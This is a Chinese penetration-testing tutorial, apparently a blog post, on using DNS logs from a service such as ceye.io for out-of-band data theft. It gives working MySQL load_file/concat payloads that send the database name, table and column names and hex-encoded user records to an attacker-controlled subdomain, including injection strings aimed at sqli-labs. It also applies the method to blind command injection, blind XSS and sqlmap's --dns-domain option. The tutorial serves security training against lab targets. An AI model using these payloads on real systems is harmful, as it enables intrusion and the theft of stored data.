天天看點

滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗

一、預備知識

dns(域名解析):

域名解析是把域名指向網站空間IP,讓人們通過注冊的域名可以友善地通路到網站的一種服務。IP位址是網絡上辨別站點的數字位址,為了友善記憶,采用域名來代替IP位址辨別站點位址。域名解析就是域名到IP位址的轉換過程。域名的解析工作由DNS伺服器完成。

域名解析也叫域名指向、伺服器設定、域名配置以及反向IP登記等等。說的簡單點就是将好記的域名解析成IP,服務由DNS伺服器完成,是把域名解析到一個IP位址,然後在此IP位址的主機上将一個子目錄與域名綁定。

網際網路中的位址是數字的IP位址,域名解析的作用主要就是為了便于記憶。(摘自百度百科)

dns伺服器的端口是53。

二、原理

我們輸入域名之後 我們的本地域名伺服器會把在自身伺服器裡面查詢是否存在ip位址 如果沒有則發送到根域名伺服器 如果根域名伺服器裡面有對應的記錄則傳回 如果沒有則告訴本地域名伺服器去向頂級域名伺服器查找。

dns在解析的時候會留下記錄。

簡單來說:

滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗

當dns伺服器是我們自己的時,我們就可以通過檢視日志來查詢一些資訊

三、準備

  1. dns伺服器(vps搭建)
  2. dns指向我們自己搭建的dns伺服器的域名

或者也可以使用網上的平台,比如http://ceye.io

四、用處

  1. sql注入(主要)
  2. 指令注入
  3. xss盲打

 五、實驗:sql注入

dns log在sql注入中的使用主要因為傳統sql注入需要向伺服器發送大量資料包,容易被檢測、延時注入花費時間長等原因

在http://ceye.io這個平台注冊後它會給你一個三級域名,可以先通路任意四級域名試試

滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗
滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗

在網站上查詢到了通路的dns記錄

windows的共享功能同樣也會通路dns伺服器

滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗
滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗

關于mysql load_file()函數:

在MySQL中,LOAD_FILE()函數讀取一個檔案并将其内容作為字元串傳回。

 LOAD_FILE(file_name) 

其中file_name是檔案的完整路徑。

這個函數也可以用來發送dns解析請求,這就是關鍵

load_file()使用限制:

1.檔案必須位于伺服器主機上。

2.你必須具有該FILE權限才能讀取該檔案。擁有該FILE權限的使用者可以讀取伺服器主機上的任何檔案,該檔案是world-readable的或MySQL伺服器可讀的。

3.檔案必須是所有人都可讀的,并且它的大小小于max_allowed_packet位元組。

你可以這樣檢查: SHOW VARIABLES LIKE 'max_allowed_packet'; 

滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗

如果secure_file_priv系統變量被設定為非空目錄名,則要加載的檔案必須位于該目錄中。

你可以這樣檢查: SHOW VARIABLES LIKE 'secure_file_priv';

滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗

可以在mysql配置檔案my.ini中更改secure_file_priv的值,如果沒有這個參數可以手動添加

滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗

使用load_file()讀取檔案: select load_file("d:\\1.txt"); 

滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗

使用load_file()發送dns請求: select load_file("\\\\ccc.xxxx.ceye.io\\aaa"); 

'\'在sql語句中要轉義,aaa可以改成任意字母。

滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗

使用load_file()發送dns請求查詢資料庫: select load_file(concat("\\\\",(select database()),".xxxx.ceye.io\\aaa")); 

sql語句在雙引号内不執行,是以要用concat()函數拼接。

滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗

 查詢資料表:

select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io\\aaa'));      
滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗

查詢字段:

select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='test' limit 0,1),'.xxxx.ceye.io\\aaa'));      
滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗

查詢資料:

select load_file(concat('\\\\',(select username from test limit 0,1),'.xxxx.ceye.io\\aaa'));      
滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗

需要注意的是dns伺服器無法接收符号,當查詢的資料中存在符号時需要編碼,這裡用hex()編碼(ord()一次隻能編碼一個字元)。

滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗
select load_file(concat('\\\\',(select hex(username) from test limit 2,1),'.xxxx.ceye.io\\aaa'));      
滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗

再使用sqli-labs第五關做實驗

payload:

?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\aaa'))),1,1)--+      
滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io\\aaa'))),1,1)--+      
滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗
?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='emails' limit 1,1),'.xxxx.ceye.io\\aaa'))),1,1)--+      
滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗
?id=1' and if((select load_file(concat('\\\\',(select hex(email_id) from emails limit 0,1),'.xxxx.ceye.io\\aaa'))),1,1)--+      

由于查詢的資料存在@符号,使用了hex()函數

滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗

解碼得[email protected]

 六、其他實驗

1.指令注入

适用于無回顯的指令注入點

使用dvwa靶場的指令注入子產品實驗

假設該注入點無回顯

滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗
滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗

查詢到了我們輸入的變量

windows常用變量:

  • //變量                                                            類型       描述
  • //%ALLUSERSPROFILE%                           本地       傳回“所有使用者”配置檔案的位置。
  • //%APPDATA%                                       本地       傳回預設情況下應用程式存儲資料的位置。
  • //%CD%                                                        本地       傳回目前目錄字元串。
  • //%CMDCMDLINE%                                     本地       傳回用來啟動目前的 Cmd.exe 的準确指令行。
  • //%CMDEXTVERSION%                              系統       傳回目前的“指令處理程式擴充”的版本号。
  • //%COMPUTERNAME%                              系統       傳回計算機的名稱。
  • //%COMSPEC%                                           系統       傳回指令行解釋器可執行程式的準确路徑。
  • //%DATE%                                                    系統       傳回目前日期。使用與 date /t 指令相同的格式。由 Cmd.exe 生成。有關 date 指令的詳細資訊,請參閱 Date。
  • //%ERRORLEVEL%                                     系統       傳回上一條指令的錯誤代碼。通常用非零值表示錯誤。
  • //%HOMEDRIVE%                                       系統       傳回連接配接到使用者主目錄的本地工作站驅動器号。基于主目錄值而設定。使用者主目錄是在“本地使用者群組”中指定的。
  • //%HOMEPATH%                                         系統       傳回使用者主目錄的完整路徑。基于主目錄值而設定。使用者主目錄是在“本地使用者群組”中指定的。
  • //%HOMESHARE%                                      系統       傳回使用者的共享主目錄的網絡路徑。基于主目錄值而設定。使用者主目錄是在“本地使用者群組”中指定的。
  • //%LOGONSERVER%                                 本地       傳回驗證目前登入會話的域控制器的名稱。
  • //%NUMBER_OF_PROCESSORS%           系統       指定安裝在計算機上的處理器的數目。
  • //%OS%                                                        系統       傳回作業系統名稱。Windows 2000 顯示其作業系統為 Windows_NT。
  • //%PATH%                                                    系統       指定可執行檔案的搜尋路徑。
  • //%PATHEXT%                                             系統       傳回作業系統認為可執行的檔案擴充名的清單。
  • //%PROCESSOR_ARCHITECTURE%       系統       傳回處理器的晶片體系結構。值:x86 或 IA64(基于 Itanium)。
  • //%PROCESSOR_IDENTFIER%                系統       傳回處理器說明。
  • //%PROCESSOR_LEVEL%                        系統       傳回計算機上安裝的處理器的型号。
  • //%PROCESSOR_REVISION%                  系統       傳回處理器的版本号。
  • //%PROMPT%                                             本地       傳回目前解釋程式的指令提示符設定。由 Cmd.exe 生成。
  • //%RANDOM%                                            系統       傳回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。
  • //%SYSTEMDRIVE%                                  系統       傳回包含 Windows server operating system 根目錄(即系統根目錄)的驅動器。
  • //%SYSTEMROOT%                                  系統       傳回 Windows server operating system 根目錄的位置。
  • //%TEMP%和%TMP%                                系統和使用者 傳回對目前登入使用者可用的應用程式所使用的預設臨時目錄。有些應用程式需要 TEMP,而其他應用程式則需要 TMP。
  • //%TIME%                                                   系統       傳回目前時間。使用與time /t指令相同的格式。由Cmd.exe生成。有關time指令的詳細資訊,請參閱 Time。
  • //%USERDOMAIN%                                   本地       傳回包含使用者帳戶的域的名稱。
  • //%USERNAME%                                       本地       傳回目前登入的使用者的名稱。
  • //%USERPROFILE%                                  本地       傳回目前使用者的配置檔案的位置。
  • //%WINDIR%                                              系統       傳回作業系統目錄的位置。

2.xss盲打

使用pikachu的xss盲打子產品

滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗
滲透測試中dns log的使用一、預備知識二、原理三、準備四、用處 五、實驗:sql注入 六、其他實驗

收到請求說明觸發了插入的js代碼

七、sqlmap使用dns

sqlmap可以使用--dns-domain參數實作自動化dns注入